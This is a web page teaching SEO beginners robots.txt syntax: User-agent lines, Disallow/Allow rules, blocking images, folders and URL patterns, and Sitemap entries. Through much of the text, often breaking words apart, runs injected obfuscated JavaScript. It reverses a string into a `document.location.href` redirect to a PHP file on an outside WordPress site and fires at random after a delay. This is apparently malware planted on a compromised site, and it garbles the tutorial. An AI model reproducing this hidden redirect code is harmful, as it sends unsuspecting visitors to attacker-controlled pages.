I dig this image post for the SEO beginners who do not well understand about Robots.txt side. Ok let’s get in toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topic toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn the $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-optimize-your-robots-txt-file/”>basics of Robots.txt . It is a simple notepad file containing some manually written code toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to block from crawling the pages, images, directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tories and a whole website from Search Engine Bots.
A robots.txt file is used toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to restrict your entire site, pages, images and directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tories from search engine bots which crawls your website.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toritechnologies.com/wp-content/uploads/2020/09/robots-txt-seo-beginners-guide-scaled.jpg” width=”100%” />
User-agent: This section is used on applying for specific search engine robots
Disallow/Allow: This section is used toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to specify which URL, Folder, Image Path and Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to block
User-agent: * (This applies for all bots)
User-agent: Googlebot (This applies toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Google Search Engine Bot)
User-agent: Bingbot (This applies toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Bing Search Engine Bot)
To block the entire website
User-agent: *
Disallow: /
To allow indexing the whole website
User-agent: *
Disallow:
(OR)
User-agent: *
Allow: /
To block the specific folder
User-agent: *
Disallow: /foldername/
Disallow a folder from Googlebot but allow indexing a specific file in that folder
User-agent: Googlebot
Disallow: /foldername1/
Allow: /foldername1/specificfilename.html
To block a directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory
User-agent: *
Disallow: /directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toryname/
To block a page
User-agent: *
Disallow: /page-name.html
To block a specific image from Google images
User-agent: Googlebot – Image
Disallow: /images/imagename.jpg
To block all images from Google Images
User-agent: Googlebot – Image
Disallow: /
To block specific image file type
User-agent: Googlebot – Image
Disallow: /*.jpg$
To block all URLs which includes a “?” (Question Mark)
User-agent: *
Disallow: /*?
To block URLs that ends with .html
User-agent: *
Disallow: /*.html$
To block the page from indexing using meta tag
(Or)
Adding Sitemap in Robots.txt File:
Use the below syntax toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to add a sitemap URL in Robots.txt file
Sitemap: http://www.domainname.com/sitemap.xml
Sitemap: http://www.domainname.com/image-sitemap.xml